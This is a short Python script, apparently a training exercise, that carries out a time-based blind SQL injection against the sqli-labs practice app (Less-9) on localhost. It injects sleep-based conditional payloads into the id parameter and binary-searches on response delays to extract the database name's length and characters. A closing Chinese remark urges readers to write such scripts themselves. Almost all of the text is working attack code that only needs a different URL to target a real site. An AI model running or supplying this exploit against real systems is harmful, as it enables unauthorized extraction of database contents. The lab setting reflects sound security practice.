# @Author:Mirror
import time
import requests
db_len = 0
def get_schema_len (url):
len = 0
left = 0
right = 20
while (left <= right):
mid = left + (right - left)//2;
data = "id=1' and if(length(database())>{},sleep(0.4),1)--+".format(mid)
one = time.time()
res = requests.get(url,data)
# print (res.url)
two = time.time()
if abs(two - one) >= (0.4):
left = mid + 1
else:
right = mid - 1
len = left
print (len)
return len
def get_schema_name(url):
len = get_schema_len(url)
db_name = ''
for i in range(1,len+1):
left = 0
right = 128
while(left <= right):
mid = left + (right - left)//2
data = "id=1' and if (substr(database(),{},1)>'{}',sleep(0.4),1)--+".format(i,chr(mid))
one = time.time()
res = requests.get(url,data)
print (res.url)
two = time.time()
if abs(two - one) >=0.4:
left = mid + 1
else :
right = mid - 1
db_name+=chr(left)
print (db_name)
url = "http://localhost:800/sqli-labs/Less-9/"
get_schema_name(url)
以上是一部分,要学会自己编写脚本喔!库名好像都是大写